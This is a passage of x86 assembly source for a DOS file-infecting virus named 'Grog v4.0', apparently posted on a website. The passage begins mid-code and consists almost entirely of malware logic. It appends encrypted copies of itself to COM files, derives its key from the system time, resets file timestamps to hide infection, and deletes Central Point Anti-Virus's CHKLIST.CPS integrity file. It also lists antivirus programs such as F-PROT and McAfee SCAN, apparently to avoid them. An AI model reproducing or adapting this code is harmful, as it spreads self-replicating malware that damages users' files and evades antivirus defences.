jmp get_rnd_num
infect_com:
mov al,02h ; Set current file position (EOF)
xor dx,dx ; Zero DX
call set_file_pos

lea dx,file_buffer ; DX = offset of file_buffer
mov cx,(code_end-code_begin)
mov ah,40h ; Write to file
call int21_simula

xor dx,dx ; Zero DX
call set_file_sof
get_rnd_num:
mov ah,2ch ; Get system time
call int21_simula

add dh,dl ; DH = encryption/decryption key
add dh,ch ; DH = " "
add dh,cl ; DH = " "

cmp dh,00h ; Invalid encryption/decryption key?
je get_rnd_num ; Equal? Jump to get_rnd_num

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea di,file_buffer ; DI = offset of file_buffer

mov [decrypt_key],dh ; Store decryption key

lea si,code_begin ; SI = offset of code_begin
mov cx,(mov_code_end-code_begin)/02h
move_code:
movsb ; Move hundred and fiftysix byte o...

loop move_code

mov cx,(crypt_end-crypt_begin)
encrypt_loop:
lodsb ; AL = byte of plain code
sub al,dh ; Encrypt byte
stosb ; Store byte of encrypted code
loop encrypt_loop

mov cx,(code_end-code_begin)
lea dx,file_buffer ; DX = offset of file_buffer
mov ah,40h ; Write to file
call int21_simula

pop dx cx ; Load registers from stack
mov ax,5701h ; Set file's date and time
call int21_simula

ret ; Return!
endp

del_chklist proc near ; Delete CHKLIST.CPS
push ax dx ds ; Save registers at stack

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ah,41h ; Delete file
lea dx,chklist_cps ; DX = offset of chklist_cps
call int21_simula

pop ds dx ax ; Load registers from stack

ret ; Return!
endp

int21_simula proc near ; Simulate interrupt 21h
pushf ; Save flags at stack

call cs:[int21_addr]

ret ; Return!
endp

origin_off dw terminate-100h ; Offset of original code of infec...
terminate:
int 20h ; Terminate program

stdout_str db ' Grog v4.0 is here!'
db ' HaHaHa!'
stdout_end:
int21_addr dd ? ; Address of interrupt 21h
int13_addr dd ? ; Address of interrupt 13h
c__command_ db 'C:\COMMAND.' ; C:\COMMAND.COM
com_executab db 'COM',00h ; COM executable
exe_executab db 'EXE',00h ; EXE executable
file_specifi db '*.*',00h ; File specification
com_or_exe db 00h ; COM or EXE executable
set_file_att db 00h ; Set file attributes
table_begin db 'MBIO' ; IBMBIO.COM
db 'MDOS' ; IBMDOS.COM
db 'SCAN ' ; McAfee ViruScan
db 'CLEAN ' ; " "
db 'F-PROT' ; F-PROT
db 'CPAV ' ; Central Point Anti-Virus
table_end:
chklist_cps db 'CHKLIST.CPS',00h ; Central Point Anti-Virus CRC fil...
file_header db 18h dup(?) ; EXE header
file_buffer:
db 18h dup(?)
int01_addr dd ? ; Address of interrupt 01h
crypt_end:
code_end:
db 0d58dh dup(?)
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:

end code_begin

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT